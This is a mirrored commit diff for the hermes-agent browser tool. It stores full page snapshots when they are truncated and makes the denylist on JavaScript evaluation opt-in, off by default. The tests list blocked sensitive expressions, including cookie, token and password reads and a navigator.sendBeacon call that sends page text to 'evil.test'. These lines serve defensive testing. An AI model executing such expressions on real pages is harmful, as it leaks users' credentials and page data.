mirror of
https://github.com/NousResearch/hermes-agent.git
synced 2026-07-21 16:18:55 +00:00
feat(browser): store full snapshots on truncation; make eval denylist opt-in (#65923)
* feat(browser): store full snapshots on truncation; make eval denylist opt-in Two harness fixes motivated by BU_Bench results where fixed-verb + lossy observation cost Hermes heavily vs code-driven browser agents: 1. Snapshot truncation no longer loses content. When a snapshot exceeds the 8000-char threshold, the complete accessibility tree is saved to cache/web (same truncate-and-store pattern as web_extract) and the truncated view / LLM summary includes the file path plus a ready-made read_file call. Element refs beyond the cut are recoverable without re-snapshotting. Stored copies are force-redacted and capped at 2MB; content-hash filenames dedupe repeated snapshots of the same page. 2. The browser_console(expression=...) sensitive-primitive denylist is now opt-in via browser.restrict_evaluate (default false). The names-based denylist blocked legitimate DOM extraction — any selector or expression containing 'fetch', 'cookie', 'input', etc. — which crippled the agent's only programmatic page-inspection path. The SSRF/private-URL egress guards in _browser_eval are independent of this policy and remain always-on. browser.allow_unsafe_evaluate keeps its meaning (bypass the denylist) for configs that already set it. * test: update None-guard test for stored-snapshot pointer in _extract_relevant_content test_normal_content_returned pinned the exact return value; the summary now carries a pointer to the stored full snapshot. Assert the summary passes through and the pointer is present instead. * feat(browser): align snapshot threshold with web_extract's 15k char budget SNAPSHOT_SUMMARIZE_THRESHOLD 8000 -> 15000, matching web_tools.DEFAULT_EXTRACT_CHAR_LIMIT so the snapshot and web_extract truncate-and-store paths give the model the same per-page budget. _truncate_snapshot's default max_chars now follows the constant. Invariant test added; docs (en+zh) and CLI tip updated.
This commit is contained in:
Teknium
GitHub
parent
779019ef7d
commit
0f102fa4dc
8 changed files with 262 additions and 40 deletions
|
|
@ -1287,7 +1287,8 @@ DEFAULT_CONFIG = {
|
|||
"engine": "auto",
|
||||
"auto_local_for_private_urls": True, # When a cloud provider is set, auto-spawn local Chromium for LAN/localhost URLs instead of sending them to the cloud
|
||||
"cdp_url": "", # Optional persistent CDP endpoint for attaching to an existing Chromium/Chrome
|
||||
"allow_unsafe_evaluate": False, # Allow browser_console(expression=...) to use sensitive JS primitives (cookies/storage/clipboard/network/form values)
|
||||
"allow_unsafe_evaluate": False, # Legacy override: when true, browser_console(expression=...) bypasses the restrict_evaluate denylist entirely
|
||||
"restrict_evaluate": False, # Opt-in denylist blocking sensitive JS primitives (cookies/storage/clipboard/network/form values) in browser_console(expression=...)
|
||||
# CDP supervisor — dialog + frame detection via a persistent WebSocket.
|
||||
# Active only when a CDP-capable backend is attached (Browserbase or
|
||||
# local Chrome via /browser connect). See
|
||||
|
|
|
|||
|
|
@ -315,7 +315,7 @@ TIPS = [
|
|||
"GPT and Codex models get special system prompt guidance for tool discipline and mandatory tool use.",
|
||||
"Gemini models get tailored directives for absolute paths, parallel tool calls, and non-interactive commands.",
|
||||
"context.engine in config.yaml can be set to a plugin name for alternative context management strategies.",
|
||||
"Browser pages over 8000 tokens are auto-summarized by the auxiliary LLM before returning to the agent.",
|
||||
"Browser page snapshots over 15,000 characters are truncated or auto-summarized; the full snapshot is saved to cache/web for read_file paging.",
|
||||
"The compressor does a cheap pre-pass: tool outputs over 200 chars are replaced with placeholders before the LLM runs.",
|
||||
"When compression fails, further attempts are paused for 10 minutes to avoid API hammering.",
|
||||
"Long dangerous commands (>70 chars) get a 'view' option in the approval prompt to see the full text first.",
|
||||
|
|
|
|||
|
|
@ -160,10 +160,35 @@ class TestBrowserConsole:
|
|||
assert result == {"success": True, "result": "Example"}
|
||||
mock_eval.assert_called_once_with("document.title", "test")
|
||||
|
||||
def test_expression_allows_risky_eval_by_default(self):
|
||||
"""The sensitive-primitive denylist is opt-in — default config runs everything.
|
||||
|
||||
The names-based denylist blocked legitimate DOM extraction (any selector
|
||||
or expression containing 'fetch'/'cookie'/'input' etc.), so it is off
|
||||
unless browser.restrict_evaluate is set. Egress to private addresses is
|
||||
still guarded separately in _browser_eval.
|
||||
"""
|
||||
from tools.browser_tool import browser_console
|
||||
|
||||
expressions = [
|
||||
"document.cookie",
|
||||
"fetch('/api/me')",
|
||||
"localStorage.getItem('token')",
|
||||
"document.querySelector('input[type=password]').value",
|
||||
"document.querySelector('#fetch-results').innerText",
|
||||
]
|
||||
with patch("tools.browser_tool._browser_eval", return_value=json.dumps({"success": True, "result": "ok"})) as mock_eval:
|
||||
for expr in expressions:
|
||||
result = json.loads(browser_console(expression=expr, task_id="test"))
|
||||
assert result == {"success": True, "result": "ok"}, expr
|
||||
|
||||
assert mock_eval.call_count == len(expressions)
|
||||
|
||||
def test_expression_blocks_cookie_access_before_eval(self):
|
||||
from tools.browser_tool import browser_console
|
||||
|
||||
with patch("tools.browser_tool._allow_unsafe_browser_evaluate", return_value=False), \
|
||||
with patch("tools.browser_tool._restrict_browser_evaluate", return_value=True), \
|
||||
patch("tools.browser_tool._allow_unsafe_browser_evaluate", return_value=False), \
|
||||
patch("tools.browser_tool._browser_eval") as mock_eval:
|
||||
result = json.loads(browser_console(expression="document.cookie", task_id="test"))
|
||||
|
||||
|
|
@ -184,7 +209,8 @@ class TestBrowserConsole:
|
|||
"navigator.sendBeacon('https://evil.test', document.body.innerText)",
|
||||
"document.querySelector('input[type=password]').value",
|
||||
]
|
||||
with patch("tools.browser_tool._allow_unsafe_browser_evaluate", return_value=False), \
|
||||
with patch("tools.browser_tool._restrict_browser_evaluate", return_value=True), \
|
||||
patch("tools.browser_tool._allow_unsafe_browser_evaluate", return_value=False), \
|
||||
patch("tools.browser_tool._browser_eval") as mock_eval:
|
||||
for expr in risky_expressions:
|
||||
result = json.loads(browser_console(expression=expr, task_id="test"))
|
||||
|
|
@ -208,7 +234,8 @@ class TestBrowserConsole:
|
|||
'navigator["clipboard"].readText()',
|
||||
'globalThis["localStorage"].getItem("token")',
|
||||
]
|
||||
with patch("tools.browser_tool._allow_unsafe_browser_evaluate", return_value=False), \
|
||||
with patch("tools.browser_tool._restrict_browser_evaluate", return_value=True), \
|
||||
patch("tools.browser_tool._allow_unsafe_browser_evaluate", return_value=False), \
|
||||
patch("tools.browser_tool._browser_eval") as mock_eval:
|
||||
for expr in risky_expressions:
|
||||
result = json.loads(browser_console(expression=expr, task_id="test"))
|
||||
|
|
@ -220,7 +247,8 @@ class TestBrowserConsole:
|
|||
def test_expression_allows_string_literals_without_sensitive_tokens(self):
|
||||
from tools.browser_tool import browser_console
|
||||
|
||||
with patch("tools.browser_tool._allow_unsafe_browser_evaluate", return_value=False), \
|
||||
with patch("tools.browser_tool._restrict_browser_evaluate", return_value=True), \
|
||||
patch("tools.browser_tool._allow_unsafe_browser_evaluate", return_value=False), \
|
||||
patch("tools.browser_tool._browser_eval", return_value=json.dumps({"success": True, "result": True})) as mock_eval:
|
||||
result = json.loads(browser_console(expression='document.title.includes("Example")', task_id="test"))
|
||||
|
||||
|
|
@ -228,9 +256,11 @@ class TestBrowserConsole:
|
|||
mock_eval.assert_called_once_with('document.title.includes("Example")', "test")
|
||||
|
||||
def test_expression_config_opt_in_allows_risky_eval(self):
|
||||
"""allow_unsafe_evaluate overrides restrict_evaluate back off."""
|
||||
from tools.browser_tool import browser_console
|
||||
|
||||
with patch("tools.browser_tool._allow_unsafe_browser_evaluate", return_value=True), \
|
||||
with patch("tools.browser_tool._restrict_browser_evaluate", return_value=True), \
|
||||
patch("tools.browser_tool._allow_unsafe_browser_evaluate", return_value=True), \
|
||||
patch("tools.browser_tool._browser_eval", return_value=json.dumps({"success": True, "result": "cookie=value"})) as mock_eval:
|
||||
result = json.loads(browser_console(expression="document.cookie", task_id="test"))
|
||||
|
||||
|
|
@ -245,6 +275,17 @@ class TestBrowserConsole:
|
|||
with patch("hermes_cli.config.read_raw_config", return_value={"browser": {"allow_unsafe_evaluate": False}}):
|
||||
assert _allow_unsafe_browser_evaluate() is False
|
||||
|
||||
def test_restrict_evaluate_reads_browser_config(self):
|
||||
from tools.browser_tool import _restrict_browser_evaluate
|
||||
|
||||
with patch("hermes_cli.config.read_raw_config", return_value={"browser": {"restrict_evaluate": "true"}}):
|
||||
assert _restrict_browser_evaluate() is True
|
||||
with patch("hermes_cli.config.read_raw_config", return_value={"browser": {"restrict_evaluate": False}}):
|
||||
assert _restrict_browser_evaluate() is False
|
||||
# Default (key absent) is off — the denylist is opt-in.
|
||||
with patch("hermes_cli.config.read_raw_config", return_value={}):
|
||||
assert _restrict_browser_evaluate() is False
|
||||
|
||||
|
||||
# ── browser_console schema ───────────────────────────────────────────
|
||||
|
||||
|
|
|
|||
|
|
@ -39,13 +39,16 @@ class TestExtractRelevantContentNoneGuard:
|
|||
assert len(result) > 0
|
||||
|
||||
def test_normal_content_returned(self):
|
||||
"""Normal string content should pass through."""
|
||||
"""Normal string content should pass through (plus the stored-full-snapshot pointer)."""
|
||||
with patch("tools.browser_tool.call_llm", return_value=_make_response("Extracted content here")), \
|
||||
patch("tools.browser_tool._get_extraction_model", return_value="test-model"):
|
||||
from tools.browser_tool import _extract_relevant_content
|
||||
result = _extract_relevant_content("snapshot text", "task")
|
||||
|
||||
assert result == "Extracted content here"
|
||||
# The summary itself passes through unchanged; a pointer to the stored
|
||||
# full snapshot is appended (see _store_full_snapshot).
|
||||
assert result.startswith("Extracted content here")
|
||||
assert "Full snapshot saved to" in result
|
||||
|
||||
def test_empty_string_content_falls_back(self):
|
||||
"""Empty string content should also fall back to truncated."""
|
||||
|
|
|
|||
|
|
@ -1,6 +1,7 @@
|
|||
"""Tests for browser_tool.py hardening: caching, security, thread safety, truncation."""
|
||||
|
||||
import inspect
|
||||
import re
|
||||
from unittest.mock import MagicMock, patch
|
||||
|
||||
import pytest
|
||||
|
|
@ -224,14 +225,13 @@ class TestTruncateSnapshot:
|
|||
assert _truncate_snapshot(short) == short
|
||||
|
||||
def test_long_snapshot_truncated_at_line_boundary(self):
|
||||
from tools.browser_tool import _truncate_snapshot
|
||||
# Create a snapshot that exceeds 8000 chars
|
||||
lines = [f'- item "Element {i}" [ref=e{i}]' for i in range(500)]
|
||||
from tools.browser_tool import SNAPSHOT_SUMMARIZE_THRESHOLD, _truncate_snapshot
|
||||
# Create a snapshot that exceeds the summarize threshold
|
||||
lines = [f'- item "Element {i}" [ref=e{i}]' for i in range(1000)]
|
||||
snapshot = "\n".join(lines)
|
||||
assert len(snapshot) > 8000
|
||||
assert len(snapshot) > SNAPSHOT_SUMMARIZE_THRESHOLD
|
||||
|
||||
result = _truncate_snapshot(snapshot, max_chars=200)
|
||||
assert len(result) <= 300 # some margin for the truncation note
|
||||
assert "truncated" in result.lower()
|
||||
# Every line in the result should be complete (not cut mid-element)
|
||||
for line in result.split("\n"):
|
||||
|
|
@ -246,6 +246,73 @@ class TestTruncateSnapshot:
|
|||
# Should mention how many lines were truncated
|
||||
assert "more line" in result.lower()
|
||||
|
||||
def test_threshold_aligned_with_web_extract_budget(self):
|
||||
"""Snapshot and web_extract share the truncate-and-store pattern —
|
||||
the per-page budget the model sees must stay aligned between them."""
|
||||
from tools.browser_tool import SNAPSHOT_SUMMARIZE_THRESHOLD
|
||||
from tools.web_tools import DEFAULT_EXTRACT_CHAR_LIMIT
|
||||
assert SNAPSHOT_SUMMARIZE_THRESHOLD == DEFAULT_EXTRACT_CHAR_LIMIT
|
||||
|
||||
def test_truncation_stores_full_snapshot_and_points_to_it(self):
|
||||
"""Truncated snapshots save the complete text to cache/web (like web_extract)."""
|
||||
from pathlib import Path
|
||||
from tools.browser_tool import _truncate_snapshot
|
||||
|
||||
lines = [f'- item "Element {i}" [ref=e{i}]' for i in range(500)]
|
||||
snapshot = "\n".join(lines)
|
||||
result = _truncate_snapshot(snapshot, max_chars=2000)
|
||||
|
||||
assert "read_file" in result
|
||||
m = re.search(r'read_file path="([^"]+)"', result)
|
||||
assert m, f"no stored-path pointer in truncation note: {result[-300:]}"
|
||||
stored = Path(m.group(1))
|
||||
assert stored.exists()
|
||||
content = stored.read_text(encoding="utf-8")
|
||||
# The full snapshot is in the file — including refs beyond the cut.
|
||||
assert '[ref=e499]' in content
|
||||
|
||||
def test_truncation_survives_storage_failure(self):
|
||||
"""Storage is best-effort; the truncated view still returns."""
|
||||
from tools.browser_tool import _truncate_snapshot
|
||||
|
||||
lines = [f"- line {i}" for i in range(100)]
|
||||
snapshot = "\n".join(lines)
|
||||
with patch("tools.browser_tool._store_full_snapshot", return_value=None):
|
||||
result = _truncate_snapshot(snapshot, max_chars=200)
|
||||
assert "truncated" in result.lower()
|
||||
assert "read_file" not in result
|
||||
|
||||
def test_stored_snapshot_is_secret_redacted(self):
|
||||
"""Page-rendered secrets must not land unmasked on disk."""
|
||||
from pathlib import Path
|
||||
from tools.browser_tool import _store_full_snapshot
|
||||
|
||||
fake_key = "sk-" + "STOREDSNAPSHOTSECRET1234567890"
|
||||
snapshot = f'- text "API key: {fake_key}"\n' + "\n".join(
|
||||
f"- line {i}" for i in range(50)
|
||||
)
|
||||
stored = _store_full_snapshot(snapshot)
|
||||
assert stored is not None
|
||||
content = Path(stored).read_text(encoding="utf-8")
|
||||
assert "STOREDSNAPSHOTSECRET" not in content
|
||||
|
||||
def test_extract_relevant_content_appends_stored_pointer(self):
|
||||
"""LLM-summarized snapshots also point at the stored full text."""
|
||||
from unittest.mock import MagicMock
|
||||
from tools.browser_tool import _extract_relevant_content
|
||||
|
||||
snapshot = "\n".join(f'- item "Element {i}" [ref=e{i}]' for i in range(400))
|
||||
mock_resp = MagicMock()
|
||||
mock_resp.choices = [MagicMock()]
|
||||
mock_resp.choices[0].message.content = "Summary with button [ref=e5]"
|
||||
|
||||
with patch("tools.browser_tool.call_llm", return_value=mock_resp):
|
||||
result = _extract_relevant_content(snapshot, "find the button")
|
||||
|
||||
assert result.startswith("Summary with button")
|
||||
assert "Full snapshot" in result
|
||||
assert "read_file" in result
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Scroll optimization
|
||||
|
|
|
|||
|
|
@ -229,8 +229,17 @@ DEFAULT_COMMAND_TIMEOUT = 30
|
|||
MIN_OPEN_TIMEOUT = 60
|
||||
MIN_FIRST_OPEN_TIMEOUT = 120
|
||||
|
||||
# Max tokens for snapshot content before summarization
|
||||
SNAPSHOT_SUMMARIZE_THRESHOLD = 8000
|
||||
# Max chars for snapshot content before truncation/summarization. Aligned
|
||||
# with web_tools.DEFAULT_EXTRACT_CHAR_LIMIT (15000) — the snapshot and
|
||||
# web_extract paths share the same truncate-and-store pattern, so the model
|
||||
# gets the same per-page budget from both.
|
||||
SNAPSHOT_SUMMARIZE_THRESHOLD = 15000
|
||||
|
||||
# Hard ceiling on the full-snapshot file written to cache/web when a snapshot
|
||||
# is truncated or LLM-summarized. Mirrors web_tools.MAX_STORED_TEXT_CHARS —
|
||||
# the model only ever sees the truncated view; the stored copy exists for
|
||||
# read_file paging and must not write unbounded bytes to disk.
|
||||
MAX_STORED_SNAPSHOT_CHARS = 2_000_000
|
||||
|
||||
# Commands that legitimately return empty stdout (e.g. close, record).
|
||||
_EMPTY_OK_COMMANDS: frozenset = frozenset({"close", "record"})
|
||||
|
|
@ -1833,7 +1842,7 @@ BROWSER_TOOL_SCHEMAS = [
|
|||
},
|
||||
{
|
||||
"name": "browser_snapshot",
|
||||
"description": "Get a text-based snapshot of the current page's accessibility tree. Returns interactive elements with ref IDs (like @e1, @e2) for browser_click and browser_type. full=false (default): compact view with interactive elements. full=true: complete page content. Snapshots over 8000 chars are truncated or LLM-summarized. Requires browser_navigate first. Note: browser_navigate already returns a compact snapshot — use this to refresh after interactions that change the page, or with full=true for complete content.",
|
||||
"description": "Get a text-based snapshot of the current page's accessibility tree. Returns interactive elements with ref IDs (like @e1, @e2) for browser_click and browser_type. full=false (default): compact view with interactive elements. full=true: complete page content. Snapshots over 15000 chars are truncated or LLM-summarized; when that happens the complete snapshot is saved to a file and the output includes its path so you can page through the rest with read_file. Requires browser_navigate first. Note: browser_navigate already returns a compact snapshot — use this to refresh after interactions that change the page, or with full=true for complete content.",
|
||||
"parameters": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
|
|
@ -2579,14 +2588,62 @@ def _run_browser_command(
|
|||
return result
|
||||
|
||||
|
||||
def _store_full_snapshot(snapshot_text: str) -> Optional[str]:
|
||||
"""Write a full page snapshot to cache/web and return its absolute path.
|
||||
|
||||
Called whenever a snapshot exceeds SNAPSHOT_SUMMARIZE_THRESHOLD and the
|
||||
model is about to receive a truncated or LLM-summarized view. Mirrors
|
||||
``web_tools._store_full_text``: the file lands in the same cache/web
|
||||
directory (mounted read-only into remote backends via
|
||||
credential_files._CACHE_DIRS) so the agent's read_file/terminal tools can
|
||||
page through the complete accessibility tree — including element refs that
|
||||
the truncated view dropped — on any backend.
|
||||
|
||||
The stored copy is secret-redacted (same force-redaction boundary as
|
||||
``_redact_browser_output``) since page-rendered API keys or tokens must
|
||||
not be written to disk unmasked. The filename is keyed on a content hash,
|
||||
so repeated snapshots of the same page state dedupe to one file. Returns
|
||||
None on failure (storage is best-effort; the truncated view is still
|
||||
returned to the model).
|
||||
"""
|
||||
try:
|
||||
import hashlib
|
||||
from hermes_constants import get_hermes_dir
|
||||
from agent.redact import redact_sensitive_text
|
||||
|
||||
content = redact_sensitive_text(snapshot_text, force=True)
|
||||
if len(content) > MAX_STORED_SNAPSHOT_CHARS:
|
||||
content = (
|
||||
content[:MAX_STORED_SNAPSHOT_CHARS]
|
||||
+ f"\n\n[... stored copy truncated at {MAX_STORED_SNAPSHOT_CHARS:,} chars "
|
||||
f"of {len(content):,} ...]"
|
||||
)
|
||||
cache_dir = get_hermes_dir("cache/web", "web_cache")
|
||||
cache_dir.mkdir(parents=True, exist_ok=True)
|
||||
digest = hashlib.sha256(content.encode("utf-8")).hexdigest()[:10]
|
||||
path = cache_dir / f"browser-snapshot-{digest}.txt"
|
||||
path.write_text(content, encoding="utf-8")
|
||||
return str(path)
|
||||
except Exception as exc: # noqa: BLE001
|
||||
logger.debug("Failed to store full browser snapshot: %s", exc)
|
||||
return None
|
||||
|
||||
|
||||
def _extract_relevant_content(
|
||||
snapshot_text: str,
|
||||
user_task: Optional[str] = None
|
||||
) -> str:
|
||||
"""Use LLM to extract relevant content from a snapshot based on the user's task.
|
||||
|
||||
Falls back to simple truncation when no auxiliary text model is configured.
|
||||
The full snapshot is stored to cache/web first (summarization is lossy —
|
||||
the pointer lets the agent read anything the summary dropped). Falls back
|
||||
to simple truncation when no auxiliary text model is configured.
|
||||
"""
|
||||
stored_path = _store_full_snapshot(snapshot_text)
|
||||
stored_note = (
|
||||
f'\n\n[Summarized from a {len(snapshot_text):,}-char snapshot. Full snapshot '
|
||||
f'saved to: {stored_path} — read it with read_file if anything is missing.]'
|
||||
) if stored_path else ""
|
||||
if user_task:
|
||||
extraction_prompt = (
|
||||
f"You are a content extractor for a browser automation agent.\n\n"
|
||||
|
|
@ -2628,41 +2685,59 @@ def _extract_relevant_content(
|
|||
if model:
|
||||
call_kwargs["model"] = model
|
||||
response = call_llm(**call_kwargs)
|
||||
extracted = (response.choices[0].message.content or "").strip() or _truncate_snapshot(snapshot_text)
|
||||
extracted = (response.choices[0].message.content or "").strip()
|
||||
if not extracted:
|
||||
# _truncate_snapshot stores its own pointer (dedupes to the same
|
||||
# cache file by content hash), so return it without stored_note.
|
||||
return _truncate_snapshot(snapshot_text)
|
||||
# Redact any secrets the auxiliary LLM may have echoed back.
|
||||
return redact_sensitive_text(extracted)
|
||||
return redact_sensitive_text(extracted) + stored_note
|
||||
except Exception:
|
||||
return _truncate_snapshot(snapshot_text)
|
||||
|
||||
|
||||
def _truncate_snapshot(snapshot_text: str, max_chars: int = 8000) -> str:
|
||||
def _truncate_snapshot(snapshot_text: str, max_chars: int = SNAPSHOT_SUMMARIZE_THRESHOLD) -> str:
|
||||
"""Structure-aware truncation for snapshots.
|
||||
|
||||
Cuts at line boundaries so that accessibility tree elements are never
|
||||
split mid-line, and appends a note telling the agent how much was
|
||||
omitted.
|
||||
split mid-line. The full snapshot is saved to cache/web (same pattern as
|
||||
web_extract's truncate-and-store) and the appended note tells the agent
|
||||
exactly where the complete text lives and how to page through it with
|
||||
read_file — element refs beyond the cut are in the file, not lost.
|
||||
|
||||
Args:
|
||||
snapshot_text: The snapshot text to truncate
|
||||
max_chars: Maximum characters to keep
|
||||
|
||||
Returns:
|
||||
Truncated text with indicator if truncated
|
||||
Truncated text with a stored-full-text pointer if truncated
|
||||
"""
|
||||
if len(snapshot_text) <= max_chars:
|
||||
return snapshot_text
|
||||
|
||||
stored_path = _store_full_snapshot(snapshot_text)
|
||||
|
||||
lines = snapshot_text.split('\n')
|
||||
result: list[str] = []
|
||||
chars = 0
|
||||
# Reserve space for the truncation note (the stored-path variant is the
|
||||
# longer of the two). Clamp so tiny max_chars values still keep content.
|
||||
reserve = min(110 + len(stored_path or ""), max_chars // 2)
|
||||
for line in lines:
|
||||
if chars + len(line) + 1 > max_chars - 80: # reserve space for note
|
||||
if chars + len(line) + 1 > max_chars - reserve:
|
||||
break
|
||||
result.append(line)
|
||||
chars += len(line) + 1
|
||||
remaining = len(lines) - len(result)
|
||||
if remaining > 0:
|
||||
result.append(f'\n[... {remaining} more lines truncated, use browser_snapshot for full content]')
|
||||
if stored_path:
|
||||
next_line = len(result) + 1
|
||||
result.append(
|
||||
f'\n[... {remaining} more lines truncated — full snapshot: '
|
||||
f'read_file path="{stored_path}" offset={next_line} limit=200]'
|
||||
)
|
||||
else:
|
||||
result.append(f'\n[... {remaining} more lines truncated, use browser_snapshot for full content]')
|
||||
return '\n'.join(result)
|
||||
|
||||
|
||||
|
|
@ -3447,11 +3522,8 @@ _SENSITIVE_BROWSER_EVAL_TOKENS: tuple[tuple[str, str], ...] = (
|
|||
def _allow_unsafe_browser_evaluate() -> bool:
|
||||
"""Return whether sensitive browser JS evaluation is explicitly allowed.
|
||||
|
||||
``browser_console(expression=...)`` is useful for read-only DOM inspection,
|
||||
but a malicious page or prompt injection can try to steer the agent into
|
||||
evaluating code that reads cookies/storage/form values or performs network
|
||||
exfiltration. Keep harmless expressions (``document.title`` etc.) working,
|
||||
while requiring a config opt-in for the dangerous primitives.
|
||||
When true, ``browser_console(expression=...)`` runs without the
|
||||
sensitive-primitive denylist even if ``browser.restrict_evaluate`` is set.
|
||||
"""
|
||||
try:
|
||||
from hermes_cli.config import read_raw_config
|
||||
|
|
@ -3463,6 +3535,30 @@ def _allow_unsafe_browser_evaluate() -> bool:
|
|||
return False
|
||||
|
||||
|
||||
def _restrict_browser_evaluate() -> bool:
|
||||
"""Return whether the sensitive-primitive eval denylist is enabled.
|
||||
|
||||
Off by default. ``browser_console(expression=...)`` is the agent's only
|
||||
programmatic page-inspection path, and the denylist blocks the *names* of
|
||||
common primitives (``fetch``, ``cookie``, ``querySelector(...input...)``)
|
||||
rather than any actual exfiltration — which also blocks a large class of
|
||||
legitimate DOM extraction (any selector or page script text containing
|
||||
those words). Egress itself is still gated by the SSRF/private-URL guards
|
||||
in ``_browser_eval`` regardless of this setting. Users who want the
|
||||
strict vocabulary denylist (e.g. when browsing hostile pages with a
|
||||
logged-in profile) opt in with ``browser.restrict_evaluate: true``;
|
||||
``browser.allow_unsafe_evaluate: true`` overrides it back off.
|
||||
"""
|
||||
try:
|
||||
from hermes_cli.config import read_raw_config
|
||||
|
||||
cfg = read_raw_config()
|
||||
return is_truthy_value(cfg_get(cfg, "browser", "restrict_evaluate"), default=False)
|
||||
except Exception as e:
|
||||
logger.debug("Could not read browser.restrict_evaluate from config: %s", e)
|
||||
return False
|
||||
|
||||
|
||||
def _decode_js_string_literal(literal: str) -> str:
|
||||
"""Best-effort decode of a JavaScript string literal for policy checks.
|
||||
|
||||
|
|
@ -3519,7 +3615,16 @@ def _risky_browser_eval_reason(expression: str) -> Optional[str]:
|
|||
|
||||
|
||||
def _enforce_browser_eval_policy(expression: str) -> Optional[str]:
|
||||
"""Fail closed for sensitive browser JS evaluation unless config opts in."""
|
||||
"""Block sensitive browser JS evaluation when the opt-in denylist is on.
|
||||
|
||||
The denylist is opt-in (``browser.restrict_evaluate: true``) because it
|
||||
gates on primitive *names*, which cripples legitimate DOM extraction —
|
||||
see ``_restrict_browser_evaluate``. Network egress to private/internal
|
||||
addresses is enforced separately in ``_browser_eval`` and does not depend
|
||||
on this policy.
|
||||
"""
|
||||
if not _restrict_browser_evaluate():
|
||||
return None
|
||||
if _allow_unsafe_browser_evaluate():
|
||||
return None
|
||||
reason = _risky_browser_eval_reason(expression)
|
||||
|
|
@ -3527,10 +3632,11 @@ def _enforce_browser_eval_policy(expression: str) -> Optional[str]:
|
|||
return None
|
||||
return (
|
||||
"Blocked: browser_console(expression=...) tried to use sensitive browser "
|
||||
f"JavaScript primitive ({reason}). Use browser_snapshot/browser_get_images/"
|
||||
"browser_console without expression for normal inspection, or set "
|
||||
"browser.allow_unsafe_evaluate: true in config.yaml only for trusted pages "
|
||||
"when this access is explicitly required."
|
||||
f"JavaScript primitive ({reason}) while browser.restrict_evaluate is "
|
||||
"enabled. Use browser_snapshot/browser_get_images/browser_console "
|
||||
"without expression for normal inspection, or set "
|
||||
"browser.restrict_evaluate: false in config.yaml to allow "
|
||||
"programmatic evaluation."
|
||||
)
|
||||
|
||||
|
||||
|
|
|
|||
|
|
@ -443,7 +443,7 @@ Get a text-based snapshot of the current page's accessibility tree. Returns inte
|
|||
- **`full=false`** (default): Compact view showing only interactive elements
|
||||
- **`full=true`**: Complete page content
|
||||
|
||||
Snapshots over 8000 characters are automatically summarized by an LLM.
|
||||
Snapshots over 15,000 characters are automatically truncated or summarized by an LLM (the same per-page budget as `web_extract`). When that happens, the complete snapshot is saved to `~/.hermes/cache/web/` and the tool output includes the file path plus a ready-to-use `read_file` call, so the agent can page through the full accessibility tree — including element refs beyond the cut — without re-snapshotting.
|
||||
|
||||
### `browser_click`
|
||||
|
||||
|
|
@ -518,6 +518,8 @@ browser_console(expression="JSON.stringify(performance.timing)")
|
|||
|
||||
When a CDP supervisor is active for the current session (typical for any session that's run `browser_navigate` against a CDP-capable backend), evaluation runs over the supervisor's persistent WebSocket — no subprocess startup cost. Falls through to the standard agent-browser CLI path otherwise. Behaviour is identical either way; only latency changes.
|
||||
|
||||
Evaluation is unrestricted by default — the agent can use `fetch`, read storage, query form values, and run any DOM extraction. Requests targeting private/internal addresses are still blocked on non-local backends (the SSRF guard is independent of this setting). If you browse hostile pages with a logged-in profile and want a strict denylist over sensitive JS primitives (cookies, storage, clipboard, network calls, form values), opt in with `browser.restrict_evaluate: true` in `config.yaml`. Note the denylist matches primitive *names*, so it also blocks legitimate expressions that merely contain words like `fetch` or `cookie`.
|
||||
|
||||
### `browser_cdp`
|
||||
|
||||
Raw Chrome DevTools Protocol passthrough — the escape hatch for browser operations not covered by the other tools. Use for native dialog handling, iframe-scoped evaluation, cookie/network control, or any CDP verb the agent needs.
|
||||
|
|
@ -655,7 +657,7 @@ If paid features aren't available on your plan, Hermes automatically falls back
|
|||
## Limitations
|
||||
|
||||
- **Text-based interaction** — relies on accessibility tree, not pixel coordinates
|
||||
- **Snapshot size** — large pages may be truncated or LLM-summarized at 8000 characters
|
||||
- **Snapshot size** — large pages may be truncated or LLM-summarized at 15,000 characters (matching `web_extract`); the complete snapshot is saved to `~/.hermes/cache/web/` and the output points at it for `read_file` paging
|
||||
- **Session timeout** — cloud sessions expire based on your provider's plan settings
|
||||
- **Cost** — cloud sessions consume provider credits; sessions are automatically cleaned up when the conversation ends or after inactivity. Use `/browser connect` for free local browsing.
|
||||
- **No file downloads** — cannot download files from the browser
|
||||
|
|
|
|||
|
|
@ -409,7 +409,7 @@ Navigate to https://github.com/NousResearch
|
|||
- **`full=false`**（默认）：仅显示交互元素的紧凑视图
|
||||
- **`full=true`**：完整页面内容
|
||||
|
||||
超过 8000 字符的快照将由 LLM 自动摘要。
|
||||
超过 15,000 字符的快照将被截断或由 LLM 自动摘要（与 `web_extract` 使用相同的单页预算）。发生截断时，完整快照会保存到 `~/.hermes/cache/web/`，工具输出中包含文件路径和可直接使用的 `read_file` 调用，代理无需重新截图即可翻阅完整的可访问性树（包括被截断部分的元素 ref）。
|
||||
|
||||
### `browser_click`
|
||||
|
||||
|
|
@ -484,6 +484,8 @@ browser_console(expression="JSON.stringify(performance.timing)")
|
|||
|
||||
当当前会话存在活跃的 CDP 监督器时（通常适用于任何对 CDP 兼容后端运行过 `browser_navigate` 的会话），执行通过监督器的持久 WebSocket 进行 — 无子进程启动开销。否则回退到标准 agent-browser CLI 路径。两种方式行为完全相同，仅延迟有差异。
|
||||
|
||||
默认情况下执行不受限制 — 代理可以使用 `fetch`、读取存储、查询表单值并执行任何 DOM 提取。针对私有/内部地址的请求在非本地后端上仍会被拦截（SSRF 防护与此设置无关）。如果你在已登录的浏览器配置文件中浏览不可信页面，希望对敏感 JS 原语（Cookie、存储、剪贴板、网络调用、表单值）启用严格的黑名单，可在 `config.yaml` 中设置 `browser.restrict_evaluate: true`。注意该黑名单按原语*名称*匹配，因此也会拦截仅包含 `fetch` 或 `cookie` 等词的合法表达式。
|
||||
|
||||
### `browser_cdp`
|
||||
|
||||
原始 Chrome DevTools Protocol 直通 — 用于其他工具未覆盖的浏览器操作的逃生舱口。适用于原生对话框处理、iframe 范围内的执行、Cookie/网络控制，或 Agent 需要的任何 CDP 命令。
|
||||
|
|
@ -621,7 +623,7 @@ Browserbase 提供自动隐身能力：
|
|||
## 限制
|
||||
|
||||
- **基于文本的交互** — 依赖无障碍树，而非像素坐标
|
||||
- **快照大小** — 大型页面可能在 8000 字符处被截断或由 LLM 摘要
|
||||
- **快照大小** — 大型页面可能在 15,000 字符处被截断或由 LLM 摘要（与 `web_extract` 一致）；完整快照会保存到 `~/.hermes/cache/web/`，输出中给出路径供 `read_file` 翻阅
|
||||
- **会话超时** — 云端会话根据提供商计划设置过期
